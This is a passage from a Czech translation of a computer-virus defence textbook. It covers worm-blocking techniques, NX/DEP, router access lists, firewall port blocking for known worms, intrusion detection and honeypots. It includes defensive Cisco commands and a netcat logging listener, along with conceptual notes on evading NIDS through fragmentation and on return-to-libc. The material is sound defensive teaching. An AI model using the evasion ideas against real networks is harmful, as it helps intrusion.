Takový typ červa může například v různých etapách infekce exploitovat různé zranitelnosti: zranitelnost A ve fázi 1, zranitelnost B ve fázi 2 atd. Každá taková fáze může klidně trvat i několik hodin.

Protože analýza metamorfního kódu je obtížná a náročná na čas, mnoho bezpečnostních analytiků se bude určitě spoléhat na empirické analýzy (popř. na neúplné analýzy kódu, což je ještě horší), aby zjistili chování červa i bez toho, aby měli k dispozici komplexní analýzu. To může snadno vést ke zveřejnění zavádějících informací a různým selháním v bezpečnosti. Bezpečnostní informace je publikována s předpokládanými detaily útoku, způsob útoku se však může změnit. Metamorfní červi, kteří útočí ve více fázích a různými způsoby, tak demonstrují rizika přístupu, kdy se spoléhá na to, že pro určení chování červa postačí empirické metody.

Bezpečnostní profesionálové by se měli držet důsledných analýz škodlivého kódu.

13.4.4 Škody velkého rozsahu Většina současných červů nezpůsobuje v napadených systémech příliš velké škody. Počítačové viry, jako například W95/CIH, v minulosti například přepsaly obsah FLASH BIOSu, což vedlo k poškození hardware. Takové viry se však šíří mnohem pomaleji než moderní počítačoví červi.

Osobně očekávám, že stále více červů se bude pokoušet způsobit vážná poškození počítačových systémů. To by měli červi provádět ihned poté, co odezní počáteční vrchol epidemie šíření. Červ W32/Witty například napadá obsah pevného disku infikovaného hostitele. Červ rovněž může zakódovat obsah disku pomocí veřejného klíče útočníka. Proti takovým útokům je nezbytné provádět pravidelné zálohy.

Pokud dosáhnou úspěšné útoky tohoto typu určité hranice, může způsobené poškození vést k vážnému narušení internetových služeb, jehož délka by se nepohybovala v řádu hodin, ale spíše v řádu dnů.

13.4.5 Automatizovaná detekce exploitů – učení se z prostředí V budoucnosti mohou být vytváření takoví červi, kteří k šíření používají počáteční množinu známých exploitů, a kteří mohou automatizovaným způsobem objevovat a využívat exploity nové.

500

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

Červ může například využít genetický algoritmus k tomu, aby se pokusil objevit nový způsob exploitace zkombinováním už známých exploitů. Červ může pro další zlepšování algoritmů odchytávat provoz na síti, který mu může poskytnout další informace specifické pro místní prostředí.

Takoví červi pak mohou mezi napadenými systémy vytvořit vlastní síť a vytvořit tak bázi znalostí, přístupnou všem instancím červa. Taková báze může obsahovat nejenom nově objevené způsoby exploitace, ale také informace využitelné k dalším exploitacím, včetně informací o síťových službách, možnostech adresovacího prostoru a vůbec čehokoliv, co může být eventuálně užitečné při dalším automatizovaném pátrání po možných zranitelnostech.

Je pravděpodobné, že snaha červů najít nové exploity (například pomocí zmíněných genetických algoritmů) bude často neúspěšná a v mnoha případech povede ke zhroucení napadených systémů. Tím zřejmě vyvolají mnoho pozornosti a bezpochyby vyvolají množství útoků DoS.

13.5 Závěr Techniky pro blokování červů, které jsou založené na informacích ohledně jejich chování v hostitelských systémech, mohou být extrémně efektivní proti známým typům útoků. A podobně jako antivirový software, i většina systémů, založených na pravidlech chování, potřebuje pravidelné aktualizace, aby se vyrovnala s rostoucí komplexností útoků. Množina pravidel, která úspěšně pracovala s mnoha viry pro systém DOS, je naprosto nevhodná proti současným moderním počítačovým červům. Pro blokování rychle se šířících virů a ochraně internetu musí být vyvinuty a implementovány novější metody.

Takové systémy nás však nezbavují potřeby používat tradiční technologie jako antiviry, IDS nebo firewally. Je ovšem potřeba, aby tyto technologie pracovaly společně a zvýšily tak celkovou bezpečnost systémů v síti. Blokování založené na chování jednotlivých systémů sice pomalu, nicméně jistě směřuje k blokování založeného na chování sítě. To přispěje k lepší ochraně před červy, viry a dalšími nebezpečími, které vytvářejí hackeři.

Microsoft Windows XP SP2 byl vydán s podporou NX (nespustitelné), což je určitá vlastnost moderních procesorů. Nová řada 32bitových procesorů bude díky rozšíření fyzických adres (PAE) podporovat vlastnost NX, která umožní přidání dalších bitů (jako třeba bit NX) do tabulky stránek27. Tuto vlastnost rovněž podporují i 64bitové architektury. Na systémech s novým hardwarem by měla tato ochrana vést k větším komplikacím útočníka při pokusu o průnik. Bez podpory nového hardware ovšem nebude tato vlastnost poskytovat žádnou ochranu. V dlouhodobém výhledu tak zůstává hlavní technikou obrany rekompilace souborů operačního systému s volbou /GS (pro oba režimy – jak pro režim jádra, tak i pro uživatelský režim). Tato volba si kvůli eliminaci možných dalších útoků v budoucnosti určitě vyžádá mnoho revizí. Ale i po instalaci nového hardware s podporou NX mohou útočníci využít útoky return-to-LIBC a zaměřit svoji pozornost na zranitelná místa v produktech třetích stran. V dlouhodobé budoucnosti bude také nezbytné zvýšit ochranu proti útokům založeným na přetečení bufferu.

Je také důležité poznamenat, že technologie NX zastaví nejenom některé počítačové viry, kteří jsou založeni na provádění kódu generovaného na zásobníku, ale také virový kód nahraný ze zapisovatelných, ale nespustitelných sekcí. Na obrázku 13.8 je ukázáno, že provádění souboru, nazvaného jako "funlove.exe", který je kompromitován virem W32/Funlove, je ve Windows XP SP2 (RC2) a na nejnovějším procesoru Pentium 4, úspěšně zastaveno.

Počítačové viry – analýza útoku a obrana

Obrázek 13.8

501

Prevence vykonávání dat (DEP) reaguje na spuštění viru W32/Funlove.

Pro blokování virů jako je W32/Funlove musí být vlastnost NX zapnuta na globální úrovni. Výchozí nastavení Service Packu 2 však NX globálně nezapíná – zapíná jej pouze pro některé systémové procesy.

Windows XP SP2 také implementují mnoho vylepšení ohledně přetečení heapu, jako například bezpečnostní hodnoty pro alokaci paměti. Tyto nové ochrany jsou však neustále konfrontovány s posledními technikami exploitace. V budoucnosti budou moderní 32bitové a 64bitové viry používat vlastní spustitelné sekce (jak to například demonstruje W64/Rugrat.3344) a budou rovněž nastavovat příznaky spustitelnosti alokované paměti. Dá se také očekávat další vývoj EPO a technik integrace kódu. Je tedy možné, že technologie NX vyvolá novou evoluci v infikování souborů, stejně jako u počítačových červů a technik exploitace. S vylepšováním systémů proti různým exploitacím rovněž pokračuje vylepšování28 technik shell kódu.

Odkazy 1. Bruce McCorkendale a Peter Szor, "CodeRed Buffer Overflow", Virus Bulletin, září 2001, http://www.peterszor.com/codered.pdf.

2. Frederic Perriot a Peter Szor, "An Analysis of the Slapper Worm Exploit", http://securityresponse.symantec.com/avcenter/reference/analysis.slapper.worm.pdf.

3. Frederic Perriot a Peter Szor, "Slamdunk: An Analysis of Slammer Worm", Virus Bulletin, březen 2003, http://www.peterszor.com/slammer.pdf.

4. David Moore, Vern Paxson, Stefan Savage, Colleen Shannon, Stuart Staniford, Nicholas Weaver, "The Spread of the Sapphire/Slammer Worm", http://www.cs.berkeley.edu/~nweaver/ sapphire/.

5. Mark Kennedy, "Script-Based Mobile Threats", Virus Bulletin, 2000, str. 335 – 355.

6. Peter Ferrie, "Sobig, Sobigger, Sobiggest", Virus Bulletin, říjen 2003, str. 5 – 10.

7. Eugene Spafford, "The Internet Worm Program: An Analysis", 1988, http://www.cerias. purdue.edu/homes/spaf/tech-reps/823.pdf.

8. Peat Bakke, Steve Beattie, Crispan Cowan, Aaron Grier, Heather Hinton, Dave Maier, Oregon Graduate Institute of Science & Technology, Calton Pu, Ryerson Polytechnic University, Perry Wagle, Jonathan Walpole a Qian Zhang, "StackGuard: Automatic Adaptive Detection and Pre-

502

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ... vention of Buffer-Overflow Attacks", 7th USENIX Security Symposium, http://www.usenix. org/publications/library/proceedings/sec98/cowan.html.

9. Elias Levy, "Smashing the Stack for Fun and Profit", Phrack 49.

10. Eric Chien a Peter Szor, "Blended Attacks", Virus Bulletin, 2002, http://securityresponse. symantec.com/avcenter/reference/blended.pdf.

11. Michael Howard a David LeBlanc, "Writing Secure Code", Microsoft Press, 2003.

12. Hiroaki Etoh, "ProPolice", http://www.trl.ibm.com/projects/security/ssp.

13. Matt Conover a The w00w00 Security Team, "w00w00 on Heap Overflows", http://www. w00w00.org/files/articles/heaptut.txt.

14. Libsafe, http://www.research.avayalabs.com/project/libsafe.

15. PaX Team, http://pageexec.virtualave.net.

16. SecureStack, http://www.securewave.com.

17. Vladimir Kiriansky, Derek Bruening a Saman Amarasinghe, "Secure Execution via Program Shepherding", 11th USENIX Security Symposium, srpen 2002.

18. Derek Bruening, Evelyn Duesterwald a Saman Amarasinghe, "Design and Implementation of a Dynamic Optimization Framework for Windows", 4th ACM Workshop on Feedback-Directed and Dynamic Optimization (FDDO-4), 2001.

19. David Litchfield, "Unauthenticated Remote Compromise in MS SQL Server 2000", http:// www.nextgenss.com/advisories/mssql-udp.txt.

20. Hobbit, "Netcat", http://www.atstake.com/research/tools/network_utilities.

21. Frederic Perriot, Peter Ferrie a Peter Szor, "Blast Off!", Virus Bulletin, září 2003, http://www. peterszor.com/blaster.pdf.

22. Peter Ferrie, Frederic Perriot, a Peter Szor, "Chiba Witty Blues", Virus Bulletin, květen 2004, str. 9 – 10.

23. Matthew Williamson, "Throttling Viruses: Restricting Propagation to Defeat Malicious Mobile Code", http://www.hpl.hp.com/techreports/2002/HPL-2002-172R1.pdf.

24. Mikko Hyppönen, "Retroviruses – How Viruses Fight Back", Virus Bulletin, 1994, http://www. hypponen.com/staff/hermanni/more/papers/retro.htm.

25. Vern Paxson, Stuart Staniford a Nicholas Weaver, "How to 0wn the Internet in Your Spare Time", http://www.icir.org/vern/papers/cdc-usenix-sec02.

26. Dr. Frederick B. Cohen, "A Short Course on Computer Viruses", Wiley Professonal Computing, druhé vydání, New York, 1994, ISBN: 0471007684.

27. "Executable Disable Bit Functionality Blocks Malware Code Execution", http://cache-www. intel.com/cd/00/00/14/93/149307_149307.pdf.

28. Ivan Arce, "The Shellcode Generation", IEEE, Security & Privacy, září-říjen 2004, díl 2., číslo 5, str. 72–76.

KAPITOLA 14 Strategie obrany na síťové úrovni

"Zaútočte na něj tam, kde není připravený; zaskočte jej tam, kde vás neočekává."

Sun Tzu, Umění války.

504

Kapitola 14 – Strategie obrany na síťové úrovni

Předchozí kapitola se zabývala technikami obrany, zaměřenými na řešení na bázi hostitele. Tato krátká kapitola demonstruje vzory chování červů v síti a technologie, které mohou detekovat a potlačit červy a průniky do sítě, zadní vrátka a některé útoky DoS. Budou popisovány následující klíčové techniky obrany:  P řístupové seznamy routerů.  F irewally.  S ystémy pro detekci průniků do sítě (NIDS, Network-Intrusion Detection System).  H oneypoty.  P rotiútoky.  S ystémy včasného varování.  T echniky zachycování červů.

V této kapitole se zaměříme na vzory chování červů (s několika červy zachycenými na síťové úrovni) a souvisejícími technikami detekce a ochrany. Vyhneme se však mnoha podrobným informacím, které by délku této kapitoly snadno zvýšily na množství odpovídající několika knihám!

14.1 Úvod Na obrázku 14.1 je zobrazena typická firemní síť s několika bezpečnostními zónami. Vidíme, že síťový provoz, který přichází z internetu, prochází nejdříve routerem. Poté přichází do firewallu, u kterého existuje několik míst, kde může být připojen NIDS (Systém pro detekci průniků do sítě)1.

Obrázek 14.1

Typické schéma firemní sítě s bezpečnostními zónami.

Počítačové viry – analýza útoku a obrana

505

Systémy, které jsou veřejně přístupné z vnějšku, a systémy, které jsou přístupné pouze lokálně, jsou zde důsledně odděleny. Můžete zde vidět také místa pro případné systémy honeypot2, které jsou dále v této kapitole popsány podrobně. Předpokládejme také, že jsou zde antiviry a související systémy filtrování obsahu, které na obrázku nejsou uvedeny. Například firewally často implementují antivirové rozhraní, takže mohou v e-mailech vyhledávat škodlivý obsah. Osobní firewally a systémy detekce a prevence narušení, které jsou založeny na hostitelích, nejsou v našem schématu zobrazeny, ale jak dále uvidíte, jsou velmi důležité při obraně proti útokům na počítače ve vaší síti3.

V dalších částech této kapitoly se budeme zabývat těmito technikami obrany na síťové úrovni a jejich vztahem k systémům včasného varování.

14.2 Použití přístupových seznamů routerů Síťové routery přenášejí pakety z jedné sítě do druhé – prohlížejí jejich obsah a rozhodují o jejich toku.

Routery rovněž vytvářejí a aktualizují směrovací tabulky; mohou používat více než čtyři tucty různých síťových protokolů, jako například RIP (router information protocol) a OSPF (open shortest path first).

I když se tato definice nijak nezmiňuje o bezpečnosti, routery představují první linii obrany vaší sítě.

Routery jsou často popisovány jako firewally – ochranou pomocí firewallů a rozdíly mezi nimi a routery se budeme zabývat v další sekci. Routery jsou v prvé řadě zodpovědné za řízení toku v síti a politiku ochrany zavádějí teprve jako důsledek implementace směrovacích pravidel. A naopak – firewally jsou zodpovědné za zabezpečený přístup do sítě. Mnoho moderních routerů však implementuje plnohodnotné filtrování paketů, takže možná z tohoto důvodu vznikla ona záměna. Jedná se například o routery Cisco s jejich technologií CBAC (context-based access control) a další.

Typický router je bezdiskový systém s několika komunikačními porty, který je možné naprogramovat pomocí připojené pracovní stanice. Proces bootování je u routeru podobný jako u PC, operační systém se však zavádí z flash paměti – jedná se například o Cisco IOS (internetwork operating system).

Během procesu bootování router nahrává také konfigurační soubor, který může obsahovat příkazy přístupového seznamu nebo rovnou několik těchto seznamů. Konfigurační soubor je spravován administrátorem routeru. Přístupové seznamy se používají k řízení toku paketů na některém síťovém rozhraní routeru, například na rozhraní Ethernet. Přístupový seznam je vlastně jednoduchý textový soubor obsahující množinu příkazů, které umožňují povolit nebo zakázat síťový paket, který prochází rozhraním, za podmínky, že se příkaz shoduje s charakteristikou tohoto paketu. V routerech Cisco existují dva přístupové seznamy – standardní a rozšířené.

Uvažujme například následující příkaz, obsažený v přístupovém seznamu: access-list 1 permit host 150.50.1.2

Tento příkaz povolí, aby paket přicházející z adresy 150.50.1.2 prošel skrze router do vaší sítě. Pořadí příkazů v přístupovém seznamu je vyhodnocováno (a má prioritu) v pořadí odshora dolů. Chceme-li například zamezit síťovému provozu z některé konkrétní adresy, ale z ostatních jej povolit, můžeme zapsat toto: access-list 1 deny host 150.50.1.2 access-list 1 permit any

506

Kapitola 14 – Strategie obrany na síťové úrovni

Rozšířené přístupové seznamy umožňují specifikovat také port a typ provozu, jako je TCP, UDP nebo ICMP. Takže, pokud chceme na WWW serveru omezit provoz na port 80, použijeme tento příkaz: access-list 101 permit tcp any host 155.30.40.1 eq 80

Je také možné zakázat příchod jakýchkoliv zpráv ICMP do naší sítě. Je to dobrá myšlenka, protože mnoho červů tyto zprávy používá k tomu, aby si před útokem ověřili dostupnost cíle. Kromě toho mohou být útoky DoS prováděny nepřetržitým zasíláním paketů na cíl. Pokud by tuto aktivitu vyvíjel počítačový červ, byl by takový útok velice efektivní, a proto se musíme ujistit o zablokování této možnosti. Pro zablokování nechtěného provozu můžeme použít následující příkaz: access-list 101 deny icmp any any eq 8

ICMP typu 8 je požadavek na echo, existuje však tucet dalších typů ICMP, ze kterých bychom rozhodně měli blokovat ICMP typu 13 (požadavek na časové razítko) a ICMP typu 17 (požadavek na masku adresy).

K blokování některých populárních DoS útoků, jako je například zaplavení SYN, moderní verze podporují IOS modul nazvaný jako TCP intercept, který může být pro práci s takovými útoky použit ve dvou režimech – v režimu sledovacím (watch) a v režimu zadržení (intercept). Výchozí je režim zadržení, který blokuje pokusy o útok. Modul TCP intercept lze povolit následujícími příkazy. Poznamenejme však, že režim zadržení souvisí s přístupovými seznamy, které je nejprve nutné definovat: access-list 101 permit tcp any host 155.30.40.1 eq 80 ip tcp intercept list 101

Pokud máme seznam pravidel, co může být špatně? Mnoho útoků se zaměřuje na internetové routery. Útočník se například může pokusit použít fragmentaci paketů – pokud kontroluje router příchozí pakety, je informace obsažená v hlavičce rozdělena mezi pakety. Důsledkem může být selhání při použití pravidel přístupu. Je proto extrémně důležité zakázat fragmentaci paketů na nejvíce zabezpečených místech. Protože se ale fragmentace může v síti objevit i v běžném provozu, může takové pravidlo vést ke konfliktu, který spočívá v tom, že se náhodně odstraní důležitá část komunikace – takže je nutné jej používat velmi opatrně. Následující příkaz zablokuje všechny fragmenty, které nejsou počáteční: access-list 111 deny ip any any fragments

Jiným důležitým útokem proti routerům je takzvaný "source spoofing". Tento druh útoku pracuje s pakety, které vypadají, jako by přicházely z bezpečné oblasti, například z vnitřní sítě. To umožňuje útočníkovi nebo červu poslat UDP paket a kvůli přístupu u něj specifikovat výchozí adresu pocházející z vaší sítě. Je tedy potřeba se zabývat implementací pravidel proti takovým útokům a k tomu jsou nejlepším místem právě hranice sítě. Také si pamatujme, že router nezabrání červu CodeRed v přístupu na webový server, pokud je server zranitelný. Po otevření portu může škodlivý síťový provoz zasáhnout zranitelný počítač a exploitovat jeho zranitelná místa.

Podobným způsobem mohou váš server zasáhnout útoky DoS, které budou založeny na regulérních požadavcích GET, které na server přicházejí. I tomuto druhu útoků je tedy potřeba věnovat pozornost.

Nezapomínejme také na pravidelnou aktualizaci jak software, tak i verzí IOS, protože v budoucnu se může stát předmětem útoku s devastujícími následky i samotný router.

Počítačové viry – analýza útoku a obrana

507

14.3 Ochrana firewally Existují tři základní druhy firewallů – stavové, nestavové a proxy4. Stavové firewally, jak napovídá jejich název, trasují stav síťového provozu (jako například síťová spojení) a porovnávají jej se zvolenou bezpečnostní politikou. Některé stavové firewally, například Cisco PIX, mohou navíc zkoumat některé protokoly aplikační vrstvy a ověřovat, zdali jsou v těchto protokolech (například SMTP) používány pouze korektní příkazy. Pokud váš SMTP server přijme příkazy, které do SMTP protokolu nepatří, bude firewall předstírat odesílateli, že falešný příkaz byl akceptován.

Nestavové firewally neuchovávají informaci o spojeních a nejsou tedy schopny pracovat s korelujícími (correlate) informacemi o protokolech.

Proxy firewally mají k aktuálním protokolům nejblíže a protože jsou vzhledem ke kontextu aplikací konkrétnější, mohou poskytovat větší bezpečnost. Implementace firewallů se může změnit v závislosti na specifických potřebách každého jedince nebo organizace.

Firewally mohou zabránit infekcím červy i dalším útokům pomocí několika cest. Typickým a současně nejúčinnějším prostředkem ochrany proti červům je klasické použití firewallu pro blokování portů, které v systému za firewallem nepotřebujeme používat. Můžeme také ovládat tok směrem ven z naší sítě.

Společnosti často umožňují webovým serverům iniciovat přístup na portu tcp/80. Tohle ovšem z několika důvodů není příliš dobrý postup. Nechceme totiž, aby se webový server stal webovým prohlížečem.

Když k tomu dojde, mohou červi jako CodeRed proniknout do sítě a pomocí portu 80 ji pak mohou podobným způsobem i opustit. Výběrem firewallu, který umožňuje řízení obou směrů toku, můžeme mít situaci pod kontrolou.

Firewall je potřeba připravit v předstihu a průběžně jej udržovat. Údržbou však nemyslíme blokování nějakého portu pokaždé, když se na tento port zaměří nový červ, ale přizpůsobovat jeho stav měnícím se požadavkům.

Následující tabulka 14.1 představuje některé neblaze proslulé červy, kterým může být zabráněno v přístupu pomocí prostého blokování portů na jednom z našich firewallů (je však potřeba se ujistit, že neblokujeme porty, které používají služby za firewallem).

Tabulka 14.1 – Červi, související zranitelná místa a blokované porty.

Jméno hrozby

Exploitované zranitelnosti

Blokované porty

W32/CodeRed

MS01-033 ("IIS")

TCP 80

W32/Blaster

MS03-026 ("RPC/DCOM")

TCP 135, TCP 4444 a (není-li použito) UDP 69

W32/Slammer

MS02-039, MS02-061 ("MS-SQL")

UDP 1434

W32/Sasser

MS04-011 ("LSASS")

TCP 445, 5554 a 9996

W32/Dabber

Zneužívá zranitelné místo v"FTP Serveru" červa Sasser

TCP 5554 (Sasser), TCP 8967, 98989999

508

Kapitola 14 – Strategie obrany na síťové úrovni

Jméno hrozby

Exploitované zranitelnosti

Blokované porty

W32/Korgo

MS04-011 ("LSASS")

TCP 445, 113, 3067-3076 a 6667

W32/Welchia

MS03-026 ("RPC/DCOM") MS03-007 ("WebDav")

TCP 135 a TCP 80 (není-li použito)

W32/Welchia.D

MS03-026 ("RPC/DCOM") MS03-007 ("WebDav") MS03-049 ("Workstation") MS03-001 ("Locator") + "zadní vrátka" Mydoom

TCP 80, 135, 445 (není-li použito) TCP 3127 (Mydoom)

Linux/Slapper

CAN-2002-0656 Zranitelné místo OpenSSL

TCP 80, 443 a UDP 2002

W32/Witty

Slabé místo parsování ISSSA ICQ

Zdrojový port UDP 4000

Další skryté nebezpečí spočívá v tom, že se společnost spoléhá na jeden firewall na hranici své počítačové sítě. Takovou ochranu lze různými způsoby obejít za pomoci počítačových červů nebo s využitím různých druhů útoků. Infikovaný domácí systém může například snadno přenést nákazu do sítě prostřednictvím spojení VPN (virtual private network, virtuální soukromá síť). Na pracovních stanicích je proto naprostou nutností používání osobních firewallů; pokud útok už probíhá uvnitř, má menší šanci se šířit dále. Osobní firewally tak mohou omezit škodlivý provoz ICMP. Jak jsme viděli v předchozích příkladech, většina útoků může být blokována zamezením přístupu k některým cílovým síťovým portům. Červ Witty však ukazuje, že v některých případech je potřeba blokovat i zdrojové porty, protože aktuální zranitelné místo v BlackIce může být exploitováno prostřednictvím kteréhokoliv cílového portu. Witty také demonstruje, že firewally s chybami v implementaci se stále častěji stávají cílem útoků (exploitovatelné zranitelnosti lze nalézt v několika implementacích firewallů).

Software firewallů je tedy exploitovatelný podobně, jako kterýkoliv jiný software a je tedy potřeba jej občas aktualizovat pomocí bezpečnostních záplat.

Proxy firewally, jako například Raptor, mohou útoky červa CodeRed proti zranitelnému serveru IIS zredukovat na slabší útoky DoS. To proto, že vhodně nastavený firewall "rozdělí" tělo požadavku GET (a tudíž i tělo červa) takovým způsobem, že je v jednotlivých úsecích neplatný.

Osobní firewally je životně důležité používat kvůli ochraně proti červům, různým zadním vrátkům a proti útokům spyware. Poté, co je počítačový červ spuštěn na vašem systému, má nicméně příležitost zničit software vašeho firewallu pomocí retro-útoku a snížit tak úroveň vaší ochrany. Z tohoto důvodu je důležité kombinovat firewall s jinou odpovídající ochranou.

Jiným, stále rostoucím rizikem osobních firewallů, jsou zadní vrátka, která umožňují útok tunelováním HTTP. Když jsou zadní vrátka na napadeném počítači "otevřena" (například prostřednictvím downloadu, který exploituje prohlížeč během surfování po webu), mohou útočníci vložit kód do adresovacího prostoru procesu vašeho prohlížeče.

Počítačové viry – analýza útoku a obrana

509

Za normálního provozu osobní firewally upozorňují uživatele při přístupu do sítě, takže pokaždé, když spustíte prohlížeč, bude reakcí firewallu varovné hlášení. Široce využívanou možností je umožnit provoz pouze aplikacím, které si uživatel vybere. Zde však spočívá nebezpečí v tom, že legitimní a registrovaná aplikace webového prohlížeče bude moci, při zapnuté volbě, neomezeně komunikovat skrze počítačovou síť a díky tunelování HTTP a zadním vrátkům ve vašem systému, bude možné do takové registrované aplikace vložit škodlivý kód. Tohle všechno umožní útočníkovi využít oprávnění webového prohlížeče a bez jakýchkoliv dalších upozornění odesílat přes firewall libovolné informace. Z toho důvodu se moderní firewally musí před takovými útoky bránit, což lze realizovat několika různými způsoby.

Jako všechna bezpečnostní řešení, tak i firewally způsobují určitou ztrátu výkonu. Přestože stavové firewally podávají lepší výkon, nejsou schopny pracovat s bezpečnostními záležitostmi na aplikační úrovni, což jsou schopny zvládnout různé proxy servery. Proxy servery jsou bohužel více citlivé ke svým zranitelným místům, které mají příčinu v komplexnosti parsovaných protokolů. Tohle je ovšem obecný problém systémů pro detekci průniků do sítí, které budou diskutovány v další části.

14.4 Systémy pro detekci průniku do sítě Systémy pro detekci průniku do sítě (NIDS, network-intrusion detection systems) se stávají důležitou součástí síťové bezpečnosti. NIDS sledují síťový provoz a zkoumají jak jeho tok, tak i obsah.

Existují dva základní druhy NIDS – systémy založené na signaturách v síti a systémy využívající analýzy toku v síti a různých anomálií protokolů. Některé NIDS kombinují obě metody.

1. Modul analýzy signatur hledá v datech na síti shodu v signaturách. Signatury mohou být napsány pro analýzu hlaviček síťových protokolů5, nebo se mohou shodovat s posloupností bajtů v datech uvnitř síťových paketů. Signatury se například mohou shodovat v některých druzích síťového provozu, například HTTP na portu 80.

2. Analyzátor síťového toku a protokolů je ve skutečnosti heuristickým strojen. Gigantický modul analyzátoru může například obsahovat bázi znalostí o nejpoužívanějších protokolech, jako jsou HTTP, FTP, SMTP a další a hledat v nich anomálie. Takto může analyzátor detekovat například červa CodeRed jako přespříliš dlouhou URL adresu. Analyzátor protokolů může také varovat uživatele, kdykoliv je neobvykle dlouhé některé pole ve známém protokolu. To umožňuje systémům NIDS obecně detekovat mnoho možných způsobů exploitace, založených na přetečení některých polí ve strukturách síťových protokolů, které poté na cílovém počítači způsobí přetečení bufferu.

Pokud firewall způsobuje určitou ztrátu výkonu, dělá to také NIDS. Kvalitní NIDS totiž musí použít reassembler paketů a tento proces může být velice náročný na výkon.

Systém detekce průniku, pojmenovaný jako Snort (www.snort.org), jehož autorem je Marty Roesh, má tyto nejdůležitější komponenty6:  D ekodér paketů – tento modul vybírá pakety, které přicházejí z různých rozhraní, a vkládá je do

preprocesoru.  P reprocesor – Tento modul je velmi důležitý, protože pracuje s některými obecnými útoky,

prováděnými pomocí vkládání signatur7. Dále ovládá reassemblování síťových paketů, které je

510

Kapitola 14 – Strategie obrany na síťové úrovni potřebné z toho důvodu, že signatury se mohou mezi pakety překrývat, a tím fragmentovat síťový provoz. Pakety mohou také přicházet mimo svoje pořadí a reassembler je musí pomocí pořadových čísel, která obsahují, složit dohromady. Protože je reassemblování velmi náročné, snaží se některé systémy pro detekci průniku pracovat rychleji tak, že "předstírají" analýzu běžného provozu. To však pochopitelně snižuje jeho schopnost provádět korektní detekce pokročilých útoků. I když je normální provoz fragmentovaný zřídka, útočníci mohou fragmentaci úmyslně vyvolat, aby tak obešli systémy NIDS.

 D etekční stroj – Tato komponenta hledá shodu mezi pravidly a reassemblovaným síťovým

tokem. Je důležité, aby byl detekční stroj rychlý, aby dokázal zpracovat mnoho signatur. Je-li tato komponenta IDS pomalá, mohou být při velkém množství paketů některé pakety vynechány.

Když je při detekci nalezena známá signatura, je zavolán modul varování a logování.   Modul varování a logování – Tento mogul generuje výstrahy a posílá je na vhodný výstup, jako

například do logovacího souboru. Protože systémy pro detekci průniku mohou vytvářet velké množství varování, je stále více populárnější monitorovat IDS s využitím outsourcingu, zejména tehdy, pokud nemá společnost dostatek vlastních zdrojů pro monitorování typu 24/7.

IDS může být podle vašich potřeb umístěn na mnoha místech v síti; je však potřeba se ujistit o tom, zdali budete mít dostatek zdrojů pro zpracování všech vygenerovaných varování. Některé produkty IDS jsou schopny generovat hlášení, která lze importovat do databáze a dále je korelovat s dalšími bezpečnostními eventualitami v síti. To pomáhá eliminovat zdvojená hlášení a zabraňuje se zbytečné eskalaci varování menší důležitosti.

Obvyklým místem umístění IDS bývá hranice sítě, obvykle v blízkosti firewallu, jak je ukázáno na obrázku 14.1.

Dalším důležitým rozhodnutím je způsob připojení IDS. Existují dva různé základní režimy – logování a blokování. V režimu logování může být IDS připojen k portu síťového přepínače a přijímat replikovaný provoz. V takovém případě může IDS vygenerovat upozornění, není však schopen zachytit příslušný paket a zabránit tak útoku. Potom může škodlivý paket zasáhnout cíl; můžete však být varováni přinejmenším vaším "detektorem kouře" a na výstrahu adekvátně reagovat. Je zbytečné dodávat, že v tomto režimu pracuje IDS mnohem rychleji.

V režimu blokování IDS pozastaví síťový provoz a prozkoumá předtím, než může škodlivý paket dorazit do cíle. Toto řešení umožňuje zachytit škodlivý paket, je však obvykle mnohem náročnější na výkon, než režim logování. U systémů IDS, které detekují anomálie, může být výkon vyšší, protože se pro detekci nepoužívají signatury. Specifické signatury však pomáhají tam, kde nejsou některé protokoly podporovány detektorem anomálií. Hybridní řešení, které kombinuje obě techniky a zvyšuje tak bezpečnost, je obvykle nejlepší.

V této kapitole si dále uvedeme několik případů zachycení počítačových červů. Budeme se také zabývat vývojem signatur – jak specifických pro jednotlivé druhy hrozeb, tak i obecných.

Počítačové viry – analýza útoku a obrana

511

14.5 Systémy honeypotů Honeypoty jsou nástražné systémy, které mají přilákat útočníka k tomu, aby je napadnul. Obvykle jsou zabezpečeny takovým způsobem, že je snadné je napadnout, nicméně útok se z nich rozšíří velmi těžko.

Díky tomu je mohou snadno napadnout i nezkušení útočníci – to platí samozřejmě i o červech, kteří je napadají tím spíše. Smyslem je zjištění motivů a taktiky útočníka. Velmi se mi líbí práce Lance Spitznera, který strávil mnoho let provozem honeypotů. Lance patřil k prvním lidem, kteří si uvědomili hodnotu honeypotů, nasazených proti počítačovým červům a dalším nebezpečím, nehledě na to, že je ochoten se podělit s výsledky svého výzkumu.

Koncepce honeypotů byla uvedena v roce 1990 pracemi Clifforda Stollse, "The Cuckoo’s Egg" ("Kukaččí vejce"), a Billa Cheswickse, "An Evening with Berferd" ("Večer s Berferdem"). Není překvapením, že jako první uvedl veřejně dostupné řešení, založené na honeypotech, právě Fred Cohen – jednalo se o Deception Toolkit v roce 19972.

Lance Spitzner rozlišuje mezi dvěma základními druhy systémů honeypot – s vysokou a nízkou mírou interakce. Honeypoty s nízkou interakcí jednoduše simulují některé síťové služby. Mohou být schopny zachytit některé části útoku. Protože však útok nemusí mít šanci se dokončit, nemusí být ani zachycen a správně pochopen. Naopak honeypoty s vysokou interakcí mohou být opravdu zranitelné reálné systémy nebo několik různých systémů pracujících na různých operačních systémech. Kromě toho jsou některé honeypoty vysoké interakce (například Collapsar8) implementovány jak s reálnými, tak i virtuálními stroji, přičemž útoky proti jednotlivým dílčím honeypotům jsou korelovány. Honeypoty vysoké interakce mohou být zcela kompromitovány, takže útočník může do takového systému stahovat další nástroje a být tak zachycen. Podobně, když počítačový červ pronikne do systému, může být zachycen a následně zaslán do analytického centra k vyhodnocení. To bude podrobně popsáno v kapitole 15, která popisuje techniky analýzy škodlivého kódu.

Velmi jednoduchý příklad honeypotu může být ilustrován za použití nástroje NetCat (NC), který byl již představen na několika místech této knihy. Následující příkaz může například zachytit HTTP provoz na vyhrazeném systému: NC –l –p 80 >http.log

